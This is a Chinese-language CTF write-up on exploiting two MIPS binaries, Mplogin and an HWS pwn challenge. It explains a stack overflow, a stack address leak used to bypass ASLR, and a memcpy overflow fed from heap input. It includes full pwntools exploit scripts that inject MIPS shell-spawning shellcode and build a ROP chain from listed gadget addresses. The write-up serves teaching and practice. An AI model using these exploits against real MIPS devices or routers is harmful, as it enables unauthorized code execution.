MIPS Pwn writeup
Mplogin
静态分析
mips pwn入门题。
mips pwn查找gadget使用IDA mipsrop这个插件,兼容IDA 6.x和IDA 7.x,在IDA 7.5中解决方案可以参考这个链接:https://bbs.pediy.com/thread-266102.htm
程序流程比较简单,输入用户名和密码进行登录操作。
漏洞存在在vuln函数中,buf只有20字节的空间,但是read函数填充了36字节的数据,覆盖了栈内变量length,将length修改为一个很大的值,在第二次read的时候,就可以溢出修改$ra寄存器保存的地址,劫持数据流。
动态调试
运行和调试环境:qemu-mipsel-static + chroot +IDA远程调试。
漏洞点比较明确,保护机制也不多,MIPS不支持NX就给了我们向栈区写入shellcode的权利,溢出控制$ra寄存器直接跳转到shellcode处就可以了。
由于栈区地址是未知的,在没有开启aslr的情况下,可以直接确定shellcode的地址,开启aslr保护之后,首先要泄露一个栈地址。可能存在地址泄露的点,在sub_400480函数中,跟进这个函数,看一下栈的布局。
$sp寄存器的值是0x7ffff688,buf的地址在$sp指向的栈顶加18字节处,也就是0x7ffff800是buf起始地址。
栈中的布局如上图所示,memset初始化了缓冲区,但是如果填充了24个可见字符的话,就会泄露出0x7ffff6a0,0x7ffff6a0是main函数栈顶地址。
泄露出一个栈地址,可以帮助我们绕过aslr的保护,让我们可以把shellcode布置在栈上,然后控制$ra寄存器精准跳转到栈上来执行shellcode。
要执行mips的shellcode,需要mips和mipsel的链接器,所以需要安装binutils-mips-linux-gnu和binutils-mipsel-linux-gnu。
apt-get install binutils-mips-linux-gnu apt-get install binutils-mipsel-linux-gnu
漏洞利用
from pwn import * context.log_level = 'debug' context.arch = 'mips' context.os = 'linux' p = process(["qemu-mipsel","-L","./","./Mplogin"]) elf = ELF('./Mplogin') libc = ELF('./lib/libc.so.0') p.recv() payload = 'admin'+'a'*18 p.sendline(payload) p.recvuntil('a'*18+'\n') main_sp = u32(p.recvn(4)) vuln_sp = main_sp - 0x68 log.success("main $sp : %s"%main_sp) log.success("vuln $sp : %s"%vuln_sp) p.recvuntil('Pre_Password : ') payload = 'access' payload = payload.ljust(0x14,'a') payload += p32(0x200) payload = payload.ljust(35,'b') p.sendline(payload) shellcode = pwnlib.shellcraft.mips.sh() shellcode = pwnlib.asm.asm(shellcode) p.recvuntil('Password : ') payload = '0123456789' payload = payload.ljust(0x28,'a') payload += p32(vuln_sp + 0x68) payload += shellcode p.send(payload) p.interactive()
对于mips架构,我们依然可以通过pwntools来进行动态调试。
首先填充字符串,泄露地址信息。
然后改写length的值为0x200。
在第二次调用read的时候,可以看到$a2寄存器被修改为了0x200。
输入点距离保存$ra寄存器地址的偏移是0x28字节,在保存$ra寄存器的地址后面布置好shellcode就可以愉快getshell了。
HWS结营赛题:Pwn
Analysis
题目的关键代码都在pwn这个函数中。
bool pwn()
{
int v0; // $v0
_BOOL4 result; // $v0
int v3; // [sp+0h] [+0h] BYREF
int v4[2]; // [sp+10h] [+10h] BYREF
_BYTE *v5; // [sp+18h] [+18h]
_BYTE *heap_ptr; // [sp+1Ch] [+1Ch]
unsigned int i; // [sp+20h] [+20h]
int j; // [sp+24h] [+24h]
int v9; // [sp+28h] [+28h]
int v10; // [sp+2Ch] [+2Ch]
int v11; // [sp+30h] [+30h]
int *v12; // [sp+34h] [+34h]
int *v13; // [sp+38h] [+38h]
int *v14; // [sp+3Ch] [+3Ch]
int read_count; // [sp+40h] [+40h]
int separated_idx; // [sp+44h] [+44h]
_BYTE *size; // [sp+48h] [+48h]
int group_num[3]; // [sp+4Ch] [+4Ch] BYREF
heap_ptr = (_BYTE *)malloc(512);
puts("Enter the group number: ");
if ( !_isoc99_scanf("%d", group_num) )
{
printf("Input error!");
exit(-1);
}
if ( !group_num[0] || group_num[0] >= 0xAu )
{
fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
exit(-1);
}
group_num[1] = (int)&v3;
v9 = 36;
v10 = 36 * group_num[0];
v11 = 36 * group_num[0] - 1;
v12 = v4;
memset(v4, 0, 36 * group_num[0]);
for ( i = 0; ; ++i )
{
result = i < group_num[0];
if ( i >= group_num[0] )
break;
v13 = (int *)((char *)v12 + i * v9);
v14 = v13;
memset(heap_ptr, 0, 4);
puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
read_count = read(0, heap_ptr, 768); // heap overflow
if ( v13 )
{
v0 = atoi(heap_ptr);
*v14 = v0;
separated_idx = strchr(heap_ptr, ':');
for ( j = 0; heap_ptr++; ++j )
{
if ( *heap_ptr == '\n' )
{
v5 = heap_ptr;
break;
}
}
size = &v5[-separated_idx];
if ( !separated_idx )
{
puts("format error!");
exit(-1);
}
memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
}
else
{
printf("Error!");
v14[1] = 'aaa\0';
}
}
return result;
}
题目中,首先申请了一个chunk,chunk的大小是512字节,这个chunk在后面的输入中会被溢出。
申请出chunk之后,会要求我们输入group number,输入的group number会进行检查,首先要求输入的必须是数字,同时输入的第一个字节要么是空格,要么是'\n',否则就会exit(-1)退出执行流程。
read_count = read(0, heap_ptr, 768); // heap overflow if ( v13 ) { v0 = atoi(heap_ptr); *v14 = v0; separated_idx = strchr(heap_ptr, ':'); for ( j = 0; heap_ptr++; ++j ) { if ( *heap_ptr == '\n' ) { v5 = heap_ptr; break; } } size = &v5[-separated_idx]; if ( !separated_idx ) { puts("format error!"); exit(-1); } memcpy(v14 + 1, separated_idx + 1, size); // stack overflow }
存在堆溢出的同时,在后面还有对memcpy这个危险函数的调用,memcpy的源地址和目的地址都是栈中保存的地址,size是用户可控的,我们需要通过调试,来进一步了解栈布局,看看这里有没有发生溢出的可能。
debug
在调用memcpy函数之前,看一下$a0,$a1,$a2三个寄存器的值。
$a0保存的是一个栈区地址,而memcpy的第三个参数是可控的,这样一来,确实有造成栈溢出的危险。
回溯一下memcpy第三个参数size。
如图所示的代码就是size被赋值的操作,可以看到,size的值是heap_ptr-separated_idx的值,就是说我们":"后面输入的长度决定了size的大小,如果":"后面输入的数据特别长的话,自然就发生溢出了。memcpy拷贝的数据也就是堆里的数据,所以我们控制好冒号后面的数据,就可以覆盖保存$ra寄存器的地址,继而劫持执行流程。
如图所示,返回地址距离栈顶的偏移是0xA4字节,所以首先填充0xA4字节的padding,然后再覆盖返回地址控制$ra寄存器。
这道题目,基本也是没有开保护机制,虽然checksec显示有canary保护,但是在pwn函数中没有canary。主要要考虑的还是如何绕过aslr的保护。这道题中没有泄露信息的地方,所以只能考虑构造rop chain去绕过aslr。由于程序是静态链接,所以不能ret2libc去找system函数。那么如果可以泄露出一个栈地址的话,继续ret2shellcode也是可以的。
IDA中有一个寻找gadget的好工具mipsrop,在github中可以找到:https://github.com/tacnetsol/ida
关于mipsrop,这个帖子里有一些很好用的技巧:https://www.cnblogs.com/hac425/p/9416864.html
在离开pwn函数的时候,可以通过布置栈数据,继而控制一些寄存器的值:
泄露栈地址的话,需要借助到一些输出函数,常见的输出函数puts,write,printf等等在这个静态链接的程序中都可以找到。不同的函数需要的寄存器不同,需要注意的条件也不同,puts函数最大的限制是不能输出'\x00'截断符,但是需要的参数少。write函数对应的限制就是有三个参数,需要精心构造。
将栈地址填充到寄存器的gadget有下面这些:
方便函数调用的gadget可以用mipsrop.tail()或者mipsrop.doubles()来查找。
mipsrop.stackfinders()里面有将栈地址填充到$v0的gadget,而mipsrop.tail()中有跳转到$v0的操作,这样看来,如果控制好shellcode在栈中的布局,直接填充到$v0中,再跳转到$v0寄存器指向的地址就直接可以执行了。
from pwn import * context.log_level = "debug" context.arch = "mips" context.endian = "big" context.os = "linux" p = process(['qemu-mips','./h4pwn']) stack_a1 = 0x44AEFC # 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5 li_a1_1 = 0x41F4E8 # 0x0041F4E8 | li $a1,1 | jalr $s1 move_a0_a1 = 0x4384c0 # 0x004384C0 | move $a0,$a1 | jalr $s2 move_a2_s7 = 0x44B534 # 0x0044B534 | move $a2,$s7 | jalr $s0 move_t9_s4 = 0x41F9B4 # 0x0041F9B4 | move $t9,$s4 | jalr $s4 jr_v0 = [0x45882C,0x458884] # 0x0045882C | move $t9,$v0 | jr $v0 # 0x00458884 | move $t9,$v0 | jr $v0 stack_v0 = 0x44B1EC # 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2 write_addr = 0x41E290 pwn_addr = 0x400634 start_addr = 0x400360 main_addr = 0x400AB8 elf = ELF('./h4pwn') shellcode = pwnlib.shellcraft.mips.sh() shellcode = pwnlib.asm.asm(shellcode) p.recvuntil("number: \n") p.sendline(' 1') p.recvuntil("eg => '1:Job.' \n") ''' payload = '1:' payload += 'a'*20 payload += 'a'*0x58 payload += p32(move_t9_s4) # $s0 payload += p32(move_a0_a1) # $s1 payload += p32(stack_a1) # $s2 payload += p32(stack_a1) # $s3 payload += p32(write_addr) # $s4 payload += p32(move_a2_s7) # $s5 payload += p32(move_a2_s7) # $s6 payload += p32(4) # $s7 payload += p32(0xdeadbeef) # $fp payload += p32(li_a1_1) # $ra payload += 'a'*0x28 payload += p32(pwn_addr) p.sendline(payload) main_sp = u32(p.recvn(4)) - 0x2c log.success("main_sp address: %s"%hex(main_sp)) ''' payload = '1:' payload += 'a'*20 payload += 'a'*0x58 payload += p32(jr_v0[1])*8 # $s0 - $s7 payload += 'aaaa' # $fp payload += p32(stack_v0) # $ra payload += 'a'*0x2c payload += shellcode payload += '.' p.sendline(payload) #p.recv() p.interactive()
总结
mips pwn的rop chain相对于x86架构来说,稍微复杂一些,主要是控制的寄存器不同,栈桢结构有所不同,构造方式更加多样化,所以在选择构造rop的时候,合理借助mipsrop这种工具,注意复杂函数返回时恢复寄存器现场的情况,提前布置好参数。但是利用方式也相对更粗暴一些,主要是由于mips架构硬件的原因,不能支持NX,所以很多时候关键在于合理布置shellcode,避免坏字符等等问题。路由器目前主流的漏洞利用方式还是rop,公开的堆漏洞并不多,所以熟练掌握mips架构下rop技术是学习路由器漏洞利用的必经之路。
千变万化,rop这种技术基本的框架还是没有变,核心思想还是控制返回地址,控制指令寄存器,劫持程序的执行流程,做完这两题,对于mips rop更加熟悉一些,方便后面进行一些路由器漏洞的复现。